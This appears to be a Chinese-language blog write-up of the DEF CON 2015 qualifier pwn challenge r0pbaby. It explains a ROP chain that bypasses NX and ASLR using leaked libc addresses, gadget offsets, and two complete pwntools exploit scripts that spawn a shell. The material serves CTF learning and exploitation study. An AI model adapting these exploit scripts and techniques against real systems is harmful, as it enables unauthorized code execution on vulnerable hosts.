[pwn]ROP:绕过ASLR&NX

[详细] ROP:绕过ASLR&NX

这次使用的程序是Defcon - 2015初赛题目,r0pbaby,也是一道经典的pwn题目了。
程序链接:https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取码:eajs
NX策略是指在栈中的代码不会被执行,ASLR是使共享库的装载位置随机化不可预测。

信息搜集

首先查看是64位还是32位文件:

在这里插入图片描述

然后查看安全策略:

[pwn]ROP:绕过ASLR&NX_第1张图片

可见开启了NX和PIE,PIE也就是ASLR。然后在IDA中查看伪代码,无需详细阅读,直接找溢出函数即可:

[pwn]ROP:绕过ASLR&NX_第2张图片

然后在linux中运行这个文件,查看究竟是怎么工作的,包括溢出方式等:

[pwn]ROP:绕过ASLR&NX_第3张图片

可以看出,功能1是获取libc的地址,功能2是获取一个libc函数的地址,功能3是输入一个字符串,然后会溢出。

寻找溢出位置

在功能三中可以输入字符串并且可能(一定)溢出,那么我们就寻找溢出的点:

[pwn]ROP:绕过ASLR&NX_第4张图片

可以看出,20个字符已经造成了溢出,最后确定是在第9个字符位置溢出覆盖了返回地址,也就是我们需要在第9个字符位置构造覆盖的返回值。

利用思路

由于文件开启了NX策略,无法直接在栈上写shellcode,又因为开启了ASLR,无法在静态调试中确定各个函数或者参数(system和"/bin/sh")的地址。但这个文件的前两个功能给了我们可以获取程序在执行中libc装载位置的功能。

所以,我们的具体利用思路是,找到system和/bin/sh的位置,然后利用栈溢出来获取shell,但这个文件是64位文件,参数存储的位置不是在栈中,x86_64下函数的第一个参数会放在rdi中,所以我们将参数写在栈中是没用的,要想办法将参数("/bin/sh")放在rdi寄存器中。而我们通过栈溢出只能直接操作栈中的数据,那么从栈中到寄存器最方便的指令就是pop rdi,又要考虑到调用system函数,最终我们需要找到形如这样的三个连续指令:

pop rdi
pop rax
call rax

现在可以去IDA中寻找了,但在r0pbaby文件中并没有找到system函数:

[pwn]ROP:绕过ASLR&NX_第5张图片

但我们发现在程序中打开了libc库:

[pwn]ROP:绕过ASLR&NX_第6张图片

system函数在libc之中,我们可以去用IDA调试libc来寻找我们要的东西,libc在linux的/lib/x86_64-linux-gnu/目录下,使用命令:ls -l /lib/x86_64-linux-gnu/libc.so.6可以查看当前版本的libc文件(环境不同会不同,建议导出自己的libc查看自己的地址,我这里的不适用全体),将其导出用IDA打开,然后查找system:

[pwn]ROP:绕过ASLR&NX_第7张图片

system的地址是0x44bf0。然后寻找/bin/sh:

在这里插入图片描述

"/bin/sh"的地址是0x181519,然后寻找上诉pop rdi的代码串,使用搜索-文本,搜寻pop rdi,根据结果一个一个的看,知道找出满足的为止:

[pwn]ROP:绕过ASLR&NX_第8张图片

[pwn]ROP:绕过ASLR&NX_第9张图片

可见,地址为0xf988b的一段代码满足要求,但顺序是先pop rax然后pop rdi需要注意。现在已经找到利用所需的全部代码了,唯一需要解决的就是libc的动态装载地址,但程序运行时第一个功能提供给我们了。接下来我们进行exp的编写,整个栈溢出结构如下:

[pwn]ROP:绕过ASLR&NX_第10张图片

编写代码如下:

#!/usr/bin/python
from pwn import *
def getLibcAddr(elf):
	elf.sendline('1')
	ret = elf.recv().split(' ')[-18].split('\n')[0]#获取libc的执行时地址
	ret = long(ret, 16)#转换为long型
	return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
	elf.sendline('3')
	elf.recv()
	elf.sendline('32')
	payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr) #按照上图构造
	elf.sendline(payload)
	elf.recv()
	print 1
	return
if __name__ == '__main__':
	elf = process('./r0pbaby')
	libcAddr = getLibcAddr(elf)
	rtnAddr = 0xF988B+libcAddr #相对地址为执行时的libc地址加上偏移量
	binshAddr = 0x181519+libcAddr #相对地址为执行时的libc地址加上偏移量
	sysAddr = 0x44bf0+libcAddr #相对地址为执行时的libc地址加上偏移量
	pwn(elf,rtnAddr,binshAddr,sysAddr)
	elf.interactive() #获取一个shell
	elf.close()

写完代码后发现无法pwn成功:

[pwn]ROP:绕过ASLR&NX_第11张图片

其实只要仔细观察就会发现这之中有问题:

[pwn]ROP:绕过ASLR&NX_第12张图片

libc的地址是0x00007FEEAE6E9500,system的地址是0x00007FEEAE567BF0,之前看见system在libc之中的偏移地址是0x44bf0,0x7FEEAE6E9500+0x44bf0=0x7FEEAE72E0F0而不是0x7FEEAE567BF0,说明程序中给的libc和system的地址有一个有误,但并不确定是哪个,所以我们再根据system重新计算的代码写好:

#!/usr/bin/python
from pwn import *
def getSysAddr(elf):
	elf.sendline('2')
	elf.recv()
	elf.sendline('system')
	ret = elf.recv().split(' ')[-18].split('\n')[0]
	ret = long(ret, 16)
	return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):
	elf.sendline('3')
	elf.recv()
	elf.sendline('32')
	payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr)
	elf.sendline(payload)
	elf.recv()
	print 1
	return
if __name__ == '__main__':
	elf = process('./r0pbaby')
	sysAddr = getSysAddr(elf)
	sysLibcAddr = 0x44bf0
	offset=sysAddr-sysLibcAddr #偏移地址
	rtnAddr=0xF988B+offset
	binshAddr=0x181519+offset
	pwn(elf,rtnAddr,binshAddr,sysAddr)
	elf.interactive()
	elf.close()

其中关于地址的计算可以看下图:

[pwn]ROP:绕过ASLR&NX_第13张图片

执行发现成功pwn:

[pwn]ROP:绕过ASLR&NX_第14张图片

你可能感兴趣的:(二进制,ctf,#,ctf-pwn)